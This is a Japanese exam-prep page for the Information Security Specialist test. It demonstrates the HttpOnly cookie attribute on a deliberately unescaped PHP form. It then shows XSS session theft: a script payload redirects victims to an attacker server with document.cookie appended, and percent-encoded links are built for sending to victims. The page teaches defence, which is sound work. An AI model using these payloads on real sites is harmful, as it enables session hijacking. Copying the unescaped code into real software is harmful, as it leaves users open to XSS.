情報処理安全確保支援士 - SE娘の剣 -

左門至峰による情報処理安全確保支援士試験に合格するためのサイトです。 過去問を引用しながら、試験に出る基礎知識を体系的かつ詳細に整理します。

色々試してみる

1.HttpOnly属性のテスト

(1)HttpOnly属性とは

HttpOnly属性は、JavaScript からCookieを操作できないようにする設定です。Cookieを取得するJavaScriptを埋め込まれたXSSなどへの対処です。

(2)Webサーバの環境

#Apacheインストール
yum -y install httpd
#PHPインストール
yum install -y php 
#PHPのインストール確認(バージョンを確認)
php -v
#再起動
systemctl restart httpd

(3)単なる入力フォームと結果を表示するページを作る

過去問をベースに。
❶入力フォーム:description.php

<html>
<meta http-equiv="content-type" charset="UTF-8">
備考:
<form action="./submitdescription.php" method="post">
    <input type="text" name="description" value=""><br>
    <input type="submit" value="送信" >
</form>
</html>

❷結果表示:submitdescription.php

<html>
<meta http-equiv="content-type" charset="UTF-8">
備考:
<?php
print($_REQUEST['description']); 
?>
です。
</html>

(4)改修していきます。

❶入力フォームでCookieをセット
description.php

<?php
setcookie('sessionid', 12345, time() + 3600); // sessionidに12345をセット。有効期間は3600秒
?>
<html>
<meta http-equiv="content-type" charset="UTF-8">
備考:
<form action="./submitdescription.php" method="post">
    <input type="text" name="description" value=""><br>
    <input type="submit" value="送信" >
</form>
</html>

以下は、備考欄を入力できるフォーム(http://web.seeeko.com/description.php)です。F12キーを押して、開発者モードを表示しています。Cookieとして、sessionid=12345になっていること、HttpOnly属性がFalse(空欄)であることがわかります。

❷入力フォーム(備考)に、以下の文字列を入れて、「送信」ボタンを押す

<script>alert(document.cookie)</script>

すると、以下のポップアップが出て、Cookieの値が表示されてしまいます。

❸HttpOnly属性を有効化する
 先のフォーム(description.php)に、以下を食わせて、HttpOnly属性を有効化します。最後のTRUEとしている場所が、HttpOnly属性の設定です。

setcookie('sessionid', 12345, time() + 3600 , '', '', '', TRUE);

Cookieの設定に関しては以下が詳しい。
https://www.webdesignleaves.com/pr/php/php_basic_07.php
 description.phpの最終的なソースコードは以下です。

<?php
setcookie('sessionid', 12345, time() + 3600 , '', '', '', TRUE);
?>
<html>
<meta http-equiv="content-type" charset="UTF-8">
備考:
<form action="./submitdescription.php" method="post">
  <input type="text" name="description" value=""><br>
  <input type="submit" value="送信" >
</form>
</html>

❹入力フォームのCookieを再確認
 先と同様にF12キーを押して開発者モードにします。今度は、HttpOnly属性がTrueになっていることがわかります。

❺改めててスクリプトを実行
 先と同様に、<script>alert(document.cookie)</script> を入力フォームに入れて、「送信」ボタンを押します。
 すると今度は、Cookieが表示されません(下図)。HttpOnly属性が有効に機能したことで、JavaScriptからcookieへのアクセスを禁止することができました。

2.XSSなどを使ってセッションを盗む

(1)ソースコード

先の1と同じ。ただし、HttpOnly属性はFalseのまま。

(2)攻撃の実行

入力フォームに以下を入れてみよう。ただし、http://203.0.113.101/index.htmlの部分は、攻撃者のWebサーバとする。

<script>window.location='http://203.0.113.101/index.html?'+document.cookie;</script>

するとどうなるか。window.locationによって、http://203.0.113.101/index.htmlのページに遷移する。そのとき、引数としてcookieの値を付与する。
これが実行されるのは、ターゲットとなる被害者のPC上。被害者にとっては、変なページに遷移したな、くらいに思うだけ。
しかし、攻撃者のWebサーバのログには、Cookie情報も残っている。つまり、Cookie情報を盗むことができる。サーバ側でログを見張っておき、Cookieのセッションを奪ってログインすることも可能であろう。

(3)どうやって被害者に上記をさせるか

リンクをクリックさせる。
単純だが、以下のサイトにおいて、?description=として、引数を付与するだけ。
http://x.x.x.x/submitdescription.php
なので、以下になる。

http://x.x.x.x/submitdescription.php?description=<script>window.location='http://203.0.113.101/index.html?'+document.cookie;</script>

これをパーセントエンコーディングする。すると、こんな感じ。

http://x.x.x.x/submitdescription.php?description=%3Cscript%3Ewindow.location%3D%27http%3A%2F%2F203.0.113.101%2Findex.html%3F%27%2Bdocument.cookie%3B%3C%2Fscript%3E

ただし、このままリンクをクリックさせても、セッションIDを持っていないからログには残らない。
まず、http://54.87.164.130/description.php にアクセスさせて、セッションIDを端末に保持させる。そして、↑のリンクをクリックさせる。
すると、こんな感じで、攻撃者のWebサーバのログに、セッション情報が残る。


##以下は古い記事で、うまくいっていない。
具体的には、以下に記載しているように、URLのリンクを作成する。(脆弱性はあるけど)信頼性の高いページからのリンクであれば、クリックしてしまう可能性はあるだろう。
https://sc.seeeko.com/entry/cross_site_attack
上記にも書いたが、余分なことを消すために、いったん”>で閉じて、後半はコメントアウトしている。

"><script>window.location='http://203.0.113.111/index.html?'+document.cookie;</script><!--

これをパーセントエンコーディングすると以下

%22%3E%3Cscript%3Ewindow.location%3D%27http%3A%2F%2F203.0.113.111%2Findex.html%3F%27%2Bdocument.cookie%3B%3C%2Fscript%3E%3C%21--

ここで、URLの引数に上記を付ける。このリンクをメールなどで送り付け、間違ってクリックさせることができれば、Cookieを盗むことができる。

http://x.x.x.x/submitdescription.php?description=%22%3E%3Cscript%3Ewindow.location%3D%27http%3A%2F%2F203.0.113.111%2Findex.html%3F%27%2Bdocument.cookie%3B%3C%2Fscript%3E%3C%21--

※ページ遷移はうまくいくのだが、Webサーバにログが残らなかった。何かやり方が悪かったのかもしれない。